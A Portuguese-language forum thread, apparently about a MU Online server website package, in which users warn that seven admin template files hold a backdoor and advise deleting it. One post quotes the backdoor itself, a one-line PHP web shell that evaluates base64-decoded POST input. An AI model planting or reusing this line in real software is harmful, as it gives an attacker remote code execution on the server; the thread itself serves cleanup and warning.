zarcs4\MuSite\admin\templates\panel\paneladmin[DEPOSITS_FALSE].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[EDIT_ACCOUNT].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[EDIT_CHARACTER].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[GAME_MSG_ALL].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[SINCRONIZE].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[TICKETS_OPERATION].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[TRANSFORM_VIP].tpl.php
todos esses arquivos contém backdoor...
se alguém entender de php seria bom limpar.
oq significa backdoor ?zarcs4\MuSite\admin\templates\panel\paneladmin[DEPOSITS_FALSE].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[EDIT_ACCOUNT].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[EDIT_CHARACTER].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[GAME_MSG_ALL].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[SINCRONIZE].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[TICKETS_OPERATION].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[TRANSFORM_VIP].tpl.php
todos esses arquivos contém backdoor...
se alguém entender de php seria bom limpar.
Abra essas pagina e apague o :zarcs4\MuSite\admin\templates\panel\paneladmin[DEPOSITS_FALSE].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[EDIT_ACCOUNT].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[EDIT_CHARACTER].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[GAME_MSG_ALL].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[SINCRONIZE].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[TICKETS_OPERATION].tpl.php
zarcs4\MuSite\admin\templates\panel\paneladmin[TRANSFORM_VIP].tpl.php
todos esses arquivos contém backdoor...
se alguém entender de php seria bom limpar.
<?php eval(base64_decode($_POST['n17e50e']));?>
Não sei do que se trata os código, as vezes pode ser backdoor msm.
Porque fica redirecionando para muarcane.net?
cade as querys
16 Horas:------- Atualizado -------
falta so a query do sistema
Last edited by zaned; 11/11/2018 at 03:03 PM.